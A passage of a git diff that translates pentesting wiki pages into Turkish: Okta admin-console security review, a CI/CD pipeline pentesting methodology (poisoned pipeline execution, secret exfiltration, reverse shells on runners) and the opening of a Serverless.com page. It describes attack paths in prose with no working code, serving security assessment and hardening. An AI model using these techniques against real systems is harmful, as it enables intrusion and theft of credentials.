sekmesinde, e-posta göndermek için kullanılan e-posta adreslerini ve şirketin Okta içindeki özel alanını kontrol edin (bunu muhtemelen zaten biliyorsunuzdur). -Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL. +Ayrıca, **Ayarlar** sekmesinde, eğer yöneticiyseniz, "**Özel bir çıkış sayfası kullanın**" seçeneğini işaretleyebilir ve özel bir URL ayarlayabilirsiniz. ### SMS -Nothing interesting here. +Burada ilginç bir şey yok. ### End-User Dashboard -You can find here applications configured, but we will see the details of those later in a different section. +Burada yapılandırılmış uygulamaları bulabilirsiniz, ancak bunların ayrıntılarını daha sonra farklı bir bölümde göreceğiz. ### Other -Interesting setting, but nothing super interesting from a security point of view. +İlginç bir ayar, ancak güvenlik açısından süper ilginç bir şey yok. ## Applications ### Applications -Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application... +Burada tüm **yapılandırılmış uygulamaları** ve ayrıntılarını bulabilirsiniz: Kimlerin bunlara erişimi var, nasıl yapılandırıldığı (SAML, OpenID), giriş URL'si, Okta ile uygulama arasındaki eşlemeler... -In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots: +**`Oturum Açma`** sekmesinde, uygulama ayarlarını kontrol ederken bir kullanıcının **şifresini açığa çıkarmasına** izin veren **`Şifreyi göster`** adında bir alan da bulunmaktadır. Kullanıcı Panelinden bir uygulamanın ayarlarını kontrol etmek için 3 noktaya tıklayın:
-And you could see some more details about the app (like the password reveal feature, if it's enabled): +Ve uygulama hakkında daha fazla ayrıntı görebilirsiniz (şifreyi gösterme özelliği gibi, eğer etkinse):
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat ### Access Certifications -Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required. +Erişim Sertifikalarını kullanarak, kullanıcılarınızın kaynaklara erişimini periyodik olarak gözden geçirmek ve gerektiğinde erişimi otomatik olarak onaylamak veya iptal etmek için denetim kampanyaları oluşturun. -I haven't seen it used, but I guess that from a defensive point of view it's a nice feature. +Bunu kullanmadım, ama savunma açısından güzel bir özellik olduğunu düşünüyorum. ## Security ### General -- **Security notification emails**: All should be enabled. -- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha -- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok) -- **User enumeration prevention**: Both should be enabled - - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information): - - Self-Service Registration - - JIT flows with email authentication -- **Okta ThreatInsight settings**: Log and enforce security based on threat level +- **Güvenlik bildirim e-postaları**: Hepsi etkinleştirilmelidir. +- **CAPTCHA entegrasyonu**: En azından görünmez reCaptcha ayarlamak önerilir. +- **Organizasyon Güvenliği**: Her şey etkinleştirilebilir ve aktivasyon e-postalarının uzun sürmemesi gerekir (7 gün uygundur). +- **Kullanıcı numaralandırma önleme**: Her ikisi de etkinleştirilmelidir. +- Kullanıcı Numaralandırma Önleme, aşağıdaki koşullardan biri izin verilirse etkili olmaz (daha fazla bilgi için [Kullanıcı yönetimi](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) bakın): +- Kendinize hizmet kaydı +- E-posta kimlik doğrulaması ile JIT akışları +- **Okta ThreatInsight ayarları**: Tehdit seviyesine göre güvenliği kaydedin ve uygulayın. ### HealthInsight -Here is possible to find correctly and **dangerous** configured **settings**. +Burada doğru ve **tehlikeli** yapılandırılmış **ayarları** bulmak mümkündür. ### Authenticators -Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong. +Burada bir kullanıcının kullanabileceği tüm kimlik doğrulama yöntemlerini bulabilirsiniz: Şifre, telefon, e-posta, kod, WebAuthn... Şifre kimlik doğrulayıcısına tıkladığınızda **şifre politikası** görebilirsiniz. Güçlü olduğundan emin olun. -In the **Enrollment** tab you can see how the ones that are required or optinal: +**Kayıt** sekmesinde, zorunlu veya isteğe bağlı olanları görebilirsiniz:
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn. +Telefonu devre dışı bırakmak önerilir. En güçlü olanlar muhtemelen şifre, e-posta ve WebAuthn kombinasyonudur. ### Authentication policies -Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions. +Her uygulamanın bir kimlik doğrulama politikası vardır. Kimlik doğrulama politikası, uygulamaya giriş yapmaya çalışan kullanıcıların belirli koşulları karşıladığını doğrular ve bu koşullara dayalı olarak faktör gereksinimlerini uygular. -Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it. +Burada her uygulamaya erişim için **gereksinimleri** bulabilirsiniz. Her uygulama için en az bir şifre ve başka bir yöntem talep edilmesi önerilir. Ancak bir saldırgan olarak daha zayıf bir şey bulursanız, onu hedef alabilirsiniz. ### Global Session Policy -Here you can find the session policies assigned to different groups. For example: +Burada farklı gruplara atanan oturum politikalarını bulabilirsiniz. Örneğin:
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location. +MFA talep edilmesi, oturum süresinin birkaç saatle sınırlanması, oturum çerezlerinin tarayıcı uzantıları arasında kalıcı olmaması ve konum ile Kimlik Sağlayıcısını (bu mümkünse) sınırlamak önerilir. Örneğin, her kullanıcının bir ülkeden giriş yapması gerekiyorsa, yalnızca bu konuma izin verebilirsiniz. ### Identity Providers -Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card. +Kimlik Sağlayıcıları (IdP'ler), **kullanıcı hesaplarını yöneten** hizmetlerdir. Okta'da IdP'ler eklemek, son kullanıcılarınızın sosyal bir hesap veya akıllı kart ile kimlik doğrulaması yaparak özel uygulamalarınıza **kendi kendine kaydolmalarını** sağlar. -On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain. +Kimlik Sağlayıcıları sayfasında, sosyal girişleri (IdP'ler) ekleyebilir ve Okta'yı bir hizmet sağlayıcı (SP) olarak yapılandırmak için içe aktarılan SAML ekleyebilirsiniz. IdP'leri ekledikten sonra, kullanıcıları bir IdP'ye yönlendirmek için bağlama dayalı yönlendirme kuralları ayarlayabilirsiniz; örneğin, kullanıcının konumu, cihazı veya e-posta alanı gibi. -**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment. +**Herhangi bir kimlik sağlayıcı yapılandırılmışsa**, saldırganlar ve savunucular açısından bu yapılandırmayı kontrol edin ve **kaynağın gerçekten güvenilir olup olmadığını** kontrol edin, çünkü bir saldırgan bunu tehlikeye atarak Okta ortamına da erişim sağlayabilir. ### Delegated Authentication -Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server. +Delege edilmiş kimlik doğrulama, kullanıcıların kuruluşlarının **Active Directory (AD) veya LDAP** sunucusu için kimlik bilgilerini girerek Okta'ya giriş yapmalarına olanak tanır. -Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting. +Yine, bunu yeniden kontrol edin, çünkü bir saldırganın bir kuruluşun AD'sini tehlikeye atması, bu ayar sayesinde Okta'ya geçiş yapabilmesine neden olabilir. ### Network -A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations. +Bir ağ bölgesi, erişimi **vermek veya kısıtlamak için** kullanabileceğiniz yapılandırılabilir bir sınırdır. Bu, erişim talep eden **IP adresine** dayalı olarak bilgisayarlara ve cihazlara erişim sağlar. Bir ağ bölgesini, bir veya daha fazla bireysel IP adresi, IP adresi aralığı veya coğrafi konum belirterek tanımlayabilirsiniz. -After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**. +Bir veya daha fazla ağ bölgesi tanımladıktan sonra, bunları **Küresel Oturum Politikalarında**, **kimlik doğrulama politikalarında**, VPN bildirimlerinde ve **yönlendirme kurallarında** kullanabilirsiniz. -From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly. +Saldırganlar açısından hangi IP'lerin izinli olduğunu bilmek ilginçtir (ve herhangi bir **IP'nin diğerlerinden daha ayrıcalıklı olup olmadığını kontrol edin**). Saldırganlar açısından, kullanıcıların belirli bir IP adresinden veya bölgeden erişim sağlaması gerekiyorsa, bu özelliğin düzgün kullanılıp kullanılmadığını kontrol edin. ### Device Integrations -- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application. - - I haven't seen this used yet. TODO -- **Notification services**: I haven't seen this used yet. TODO +- **Uç Nokta Yönetimi**: Uç nokta yönetimi, yönetilen cihazların bir uygulamaya erişimini sağlamak için bir kimlik doğrulama politikasında uygulanabilecek bir koşuldur. +- Bunu henüz görmedim. TODO +- **Bildirim hizmetleri**: Bunu henüz görmedim. TODO ### API -You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**. +Bu sayfada Okta API jetonları oluşturabilir ve **oluşturulan** jetonları, **yetkilerini**, **sona erme** sürelerini ve **Kaynak URL'lerini** görebilirsiniz. API jetonları, jetonu oluşturan kullanıcının izinleriyle oluşturulur ve yalnızca **oluşturan kullanıcı** **aktif** olduğunda geçerlidir. -The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API. +**Güvenilir Kaynaklar**, Okta API'si aracılığıyla Okta organizasyonunuza erişim sağlamak için kontrol ettiğiniz ve güvendiğiniz web sitelerine erişim izni verir. -There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them. +Çok fazla API jetonu olmamalıdır, çünkü varsa bir saldırgan bunlara erişmeye çalışabilir ve kullanabilir. ## Workflow ### Automations -Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users. +Otomasyonlar, son kullanıcıların yaşam döngüsü sırasında meydana gelen bir dizi tetikleyici koşuluna dayalı olarak çalışan otomatik eylemler oluşturmanıza olanak tanır. -For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta". +Örneğin, bir koşul "Okta'da kullanıcı etkinliği yok" veya "Okta'da kullanıcı şifresi süresi doldu" olabilir ve eylem "Kullanıcıya e-posta gönder" veya "Kullanıcı yaşam döngüsü durumunu Okta'da değiştir" olabilir. ## Reports ### Reports -Download logs. They are **sent** to the **email address** of the current account. +Günlükleri indirin. Bunlar, mevcut hesabın **e-posta adresine** **gönderilir**. ### System Log -Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta. +Burada, kullanıcıların Okta'da veya Okta aracılığıyla uygulamalarda gerçekleştirdiği **hareketlerin günlüklerini** bulabilirsiniz. ### Import Monitoring -This can **import logs from the other platforms** accessed with Okta. +Bu, **Okta ile erişilen diğer platformlardan günlükleri içe aktarabilir**. ### Rate limits -Check the API rate limits reached. +Ulaşılan API hız limitlerini kontrol edin. ## Settings ### Account -Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates. +Burada, şirket adı, adres, **e-posta fatura iletişim bilgisi**, **e-posta teknik iletişim bilgisi** gibi Okta ortamı hakkında **genel bilgileri** bulabilirsiniz ve ayrıca kimlerin Okta güncellemelerini alması gerektiğini ve hangi tür Okta güncellemeleri alacağını görebilirsiniz. ### Downloads -Here you can download Okta agents to sync Okta with other technologies. +Burada, Okta'yı diğer teknolojilerle senkronize etmek için Okta ajanlarını indirebilirsiniz. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 41899af04..22b13134f 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD Methodology +# Pentesting CI/CD Methodolojisi {{#include ../banners/hacktricks-training.md}} @@ -6,103 +6,99 @@ ## VCS -VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**: +VCS, **Versiyon Kontrol Sistemi** anlamına gelir, bu sistemler geliştiricilerin **kaynak kodlarını yönetmelerine** olanak tanır. En yaygın olanı **git**'tir ve genellikle şirketlerin aşağıdaki **platformlardan** birinde kullandığını göreceksiniz: - Github - Gitlab - Bitbucket - Gitea -- Cloud providers (they offer their own VCS platforms) +- Bulut sağlayıcıları (kendi VCS platformlarını sunarlar) -## CI/CD Pipelines +## CI/CD Boru Hatları -CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production. +CI/CD boru hatları, geliştiricilerin **kodun yürütülmesini otomatikleştirmelerine** olanak tanır; bu, uygulamaların inşası, test edilmesi ve dağıtılması gibi çeşitli amaçlar için geçerlidir. Bu otomatik iş akışları, **belirli eylemler** tarafından **tetiklenir**, örneğin kod itmeleri, çekme istekleri veya planlanmış görevler. Geliştirme sürecini üretime taşımak için faydalıdırlar. -However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**. +Ancak, bu sistemlerin **bir yerde yürütülmesi** gerekir ve genellikle **kod dağıtmak veya hassas bilgilere erişmek için ayrıcalıklı kimlik bilgileri** ile çalışır. -## VCS Pentesting Methodology +## VCS Pentesting Metodolojisi > [!NOTE] -> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. +> Bazı VCS platformları bu bölüm için boru hatları oluşturulmasına izin verse de, yalnızca kaynak kodunun kontrolüne yönelik potansiyel saldırıları analiz edeceğiz. -Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse: +Projenizin kaynak kodunu içeren platformlar hassas bilgiler içerir ve insanlar bu platformda verilen izinlerle çok dikkatli olmalıdır. Saldırganların kötüye kullanabileceği bazı yaygın sorunlar şunlardır: -- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. -- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**. - - **Register**: Some platforms will just allow external users to create an account. - - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example). - - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo. -- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**. - - If no secret is in place, the attacker could abuse the webhook of the third party platform - - If the secret is in the URL, the same happens and the attacker also have the secret -- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid: - - Compromise the main branch to **compromise production**. - - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines). - - **Compromise the pipeline** (check next section) +- **Sızıntılar**: Kodunuzda taahhütlerde sızıntılar varsa ve saldırgan repo'ya erişebiliyorsa (çünkü kamuya açıktır veya erişimi vardır), sızıntıları keşfedebilir. +- **Erişim**: Eğer bir saldırgan **VCS platformunda bir hesaba erişebiliyorsa**, **daha fazla görünürlük ve izin** kazanabilir. +- **Kayıt**: Bazı platformlar yalnızca dış kullanıcıların hesap oluşturmasına izin verir. +- **SSO**: Bazı platformlar kullanıcıların kayıt olmasına izin vermez, ancak geçerli bir SSO ile erişim sağlar (bu nedenle bir saldırgan örneğin github hesabını kullanarak girebilir). +- **Kimlik Bilgileri**: Kullanıcı adı+Şifre, kişisel tokenlar, ssh anahtarları, Oauth tokenları, çerezler... bir kullanıcının bir repo'ya erişmek için çalabileceği çeşitli token türleri vardır. +- **Webhooks**: VCS platformları webhook'lar oluşturulmasına izin verir. Eğer bunlar **görünmeyen sırlarla korunmuyorsa**, bir **saldırgan bunları kötüye kullanabilir**. +- Eğer hiçbir gizli bilgi yoksa, saldırgan üçüncü taraf platformun webhook'unu kötüye kullanabilir. +- Eğer gizli bilgi URL'de ise, aynı şey olur ve saldırgan da gizli bilgiye sahip olur. +- **Kodun tehlikeye atılması:** Eğer kötü niyetli bir aktörün repo'lar üzerinde bir tür **yazma** erişimi varsa, **kötü niyetli kod enjekte etmeye** çalışabilir. Başarılı olmak için **dal korumalarını aşması** gerekebilir. Bu eylemler farklı hedeflerle gerçekleştirilebilir: +- Ana dalı tehlikeye atmak, **üretimi tehlikeye atmak**. +- Ana (veya diğer dalları) tehlikeye atmak, **geliştirici makinelerini tehlikeye atmak** (çünkü genellikle test, terraform veya diğer şeyleri kendi makinelerinde repo içinde çalıştırırlar). +- **Boru hattını tehlikeye atmak** (bir sonraki bölüme bakın). -## Pipelines Pentesting Methodology +## Boru Hatları Pentesting Metodolojisi -The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\ -These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code. +Bir boru hattını tanımlamanın en yaygın yolu, boru hattının inşa edildiği **repo'da barındırılan bir CI yapılandırma dosyası** kullanmaktır. Bu dosya, yürütülen işlerin sırasını, akışı etkileyen koşulları ve yapı ortamı ayarlarını tanımlar.\ +Bu dosyalar genellikle tutarlı bir isim ve formata sahiptir, örneğin — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) ve .github/workflows altında bulunan GitHub Actions YAML dosyaları. Tetiklendiğinde, boru hattı işi **seçilen kaynaktan kodu çeker** (örneğin taahhüt / dal) ve **CI yapılandırma dosyasında belirtilen komutları** o kod üzerinde çalıştırır. -Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**. +Bu nedenle, saldırganın nihai hedefi, bir şekilde **bu yapılandırma dosyalarını** veya **yürüttükleri komutları tehlikeye atmaktır**. -### PPE - Poisoned Pipeline Execution +### PPE - Zehirli Boru Hattı Yürütmesi -The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands. +Zehirli Boru Hattı Yürütmesi (PPE) yolu, bir SCM deposundaki izinleri kullanarak bir CI boru hattını manipüle eder ve zararlı komutlar yürütür. Gerekli izinlere sahip kullanıcılar, CI yapılandırma dosyalarını veya boru hattı işinin kullandığı diğer dosyaları kötü niyetli komutlar eklemek için değiştirebilir. Bu, CI boru hattını "zehirler" ve bu kötü niyetli komutların yürütülmesine yol açar. -For a malicious actor to be successful performing a PPE attack he needs to be able to: +Kötü niyetli bir aktörün PPE saldırısı gerçekleştirmesi için şunları yapabilmesi gerekir: -- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access). - - Note that sometimes an **external PR count as "write access"**. -- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**. - - For this, he might need to be able to **bypass branch protections**. +- **VCS platformuna yazma erişimine sahip olmak**, çünkü genellikle boru hatları bir itme veya çekme isteği gerçekleştirildiğinde tetiklenir. (Erişim elde etme yolları için VCS pentesting metodolojisine bakın). +- Bazen bir **dış PR'nin "yazma erişimi" olarak sayıldığını** unutmayın. +- Yazma izinlerine sahip olsa bile, **CI yapılandırma dosyasını veya yapılandırmanın dayandığı diğer dosyaları değiştirebileceğinden emin olmalıdır**. +- Bunun için **dal korumalarını aşabilmesi** gerekebilir. -There are 3 PPE flavours: +Üç PPE çeşidi vardır: -- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed. -- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config). -- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR. - - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**. +- **D-PPE**: **Doğrudan PPE** saldırısı, aktörün **yürütülecek CI yapılandırma** dosyasını değiştirdiği durumdur. +- **I-DDE**: **Dolaylı PPE** saldırısı, aktörün **yürütülecek CI yapılandırma dosyasının** dayandığı bir **dosyayı** değiştirdiği durumdur (örneğin bir make dosyası veya bir terraform yapılandırması). +- **Halka Açık PPE veya 3PE**: Bazı durumlarda, boru hatları **repo'da yazma erişimi olmayan kullanıcılar tarafından tetiklenebilir** (ve bu kullanıcılar belki de organizasyonun bir parçası bile olmayabilir) çünkü bir PR gönderebilirler. +- **3PE Komut Enjeksiyonu**: Genellikle, CI/CD boru hatları **PR hakkında bilgi içeren ortam değişkenleri** ayarlayacaktır. Eğer bu değer bir saldırgan tarafından kontrol edilebiliyorsa (örneğin PR'nin başlığı gibi) ve **tehlikeli bir yerde** (örneğin **sh komutları** yürütmek gibi) kullanılıyorsa, bir saldırgan **orada komut enjekte edebilir**. -### Exploitation Benefits +### Sömürü Faydaları -Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation: +Bir boru hattını zehirlemenin 3 çeşidini bildiğimizde, başarılı bir sömürüden sonra bir saldırganın elde edebileceği şeylere bakalım: -- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible. - - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**. -- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further. - - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**. - - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**. - - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**. - - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further. -- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**. +- **Sırları**: Daha önce belirtildiği gibi, boru hatları işlerinin yürütülmesi için **ayrıcalıklara** ihtiyaç duyar (kodu almak, inşa etmek, dağıtmak...) ve bu ayrıcalıklar genellikle **sırlarla verilir**. Bu sırlar genellikle **ortam değişkenleri veya sistem içindeki dosyalar aracılığıyla** erişilebilir. Bu nedenle, bir saldırgan her zaman mümkün olduğunca çok sır çıkarmaya çalışacaktır. +- Saldırgan, boru hattı platformuna bağlı olarak **sırları yapılandırmada belirtmek zorunda kalabilir**. Bu, eğer saldırgan CI yapılandırma boru hattını değiştiremiyorsa (**I-PPE** örneğin), yalnızca o boru hattının sahip olduğu sırları **çıkartabileceği** anlamına gelir. +- **Hesaplama**: Kod bir yerde yürütülür, nerede yürütüldüğüne bağlı olarak bir saldırgan daha ileriye geçebilir. +- **Yerinde**: Eğer boru hatları yerinde yürütülüyorsa, bir saldırgan **daha fazla kaynağa erişimi olan bir iç ağa** girebilir. +- **Bulut**: Saldırgan **buluttaki diğer makinelere** erişebilir ama aynı zamanda **IAM rolleri/hizmet hesapları** **tokenlarını** çıkartarak **bulut içinde daha fazla erişim** elde edebilir. +- **Platform makinesi**: Bazen işler **boru hattı platform makineleri** içinde yürütülür, bu makineler genellikle **daha fazla erişim** olmadan bir bulut içindedir. +- **Seçin:** Bazen **boru hattı platformu birkaç makineyi yapılandırmış olacaktır** ve eğer CI yapılandırma dosyasını **değiştirebilirseniz**, kötü niyetli kodu nerede çalıştırmak istediğinizi **belirtebilirsiniz**. Bu durumda, bir saldırgan muhtemelen her olası makinede bir ters kabuk çalıştırarak daha fazla sömürü sağlamaya çalışacaktır. +- **Üretimi tehlikeye atmak**: Eğer boru hattı içindeyseniz ve nihai versiyon buradan inşa edilip dağıtılıyorsa, **üretimde çalışacak kodu tehlikeye atabilirsiniz**. -## More relevant info +## Daha Fazla İlgili Bilgi -### Tools & CIS Benchmark +### Araçlar & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench), yeni bir [**CIS Yazılım Tedarik Zinciri benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) temelinde güvenlik uyumluluğu için yazılım tedarik zinciri yığınınızı denetlemek için açık kaynak bir araçtır. Denetim, kod zamanından dağıtım zamanına kadar riskleri ortaya çıkarabileceği tüm SDLC sürecine odaklanır. -### Top 10 CI/CD Security Risk +### En İyi 10 CI/CD Güvenlik Riski -Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Cider'a göre en iyi 10 CI/CD riski hakkında bu ilginç makaleyi kontrol edin: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) -### Labs +### Laboratuvarlar -- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it -- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) +- Yerel olarak çalıştırabileceğiniz her platformda, test etmek için istediğiniz gibi yapılandırabileceğiniz şekilde yerel olarak nasıl başlatılacağını bulacaksınız. +- Gitea + Jenkins laboratuvarı: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) -### Automatic Tools +### Otomatik Araçlar -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov**, altyapı olarak kod için statik kod analizi aracıdır. -## References +## Referanslar - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index bf1343702..d468270e3 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -1,303 +1,274 @@ -# Serverless.com Security +# Serverless.com Güvenliği {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -### Organization +### Organizasyon -An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications. +Bir **Organizasyon**, Serverless Framework ekosistemindeki en yüksek düzeydeki varlıktır. Birden fazla projeyi, takımı ve uygulamayı kapsayan bir **kolektif grup** olarak bir şirketi, departmanı veya herhangi bir büyük varlığı temsil eder. -### Team +### Takım -The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings. +**Takım**, organizasyon içinde erişimi olan kullanıcılardır. Takımlar, üyeleri rollere göre organize etmeye yardımcı olur. **`İşbirlikçileri`**, mevcut uygulamaları görüntüleyip dağıtabilirken, **`Yöneticiler`** yeni uygulamalar oluşturabilir ve organizasyon ayarlarını yönetebilir. -### Application +### Uygulama -An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality. +Bir **Uygulama**, bir Organizasyon içindeki ilgili hizmetlerin mantıksal bir gruplamasıdır. Birlikte çalışarak uyumlu bir işlevsellik sağlamak için bir araya gelen birden fazla sunucusuz hizmetten oluşan tam bir uygulamayı temsil eder. -### **Services** - -A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables. +### **Hizmetler** +Bir **Hizmet**, bir 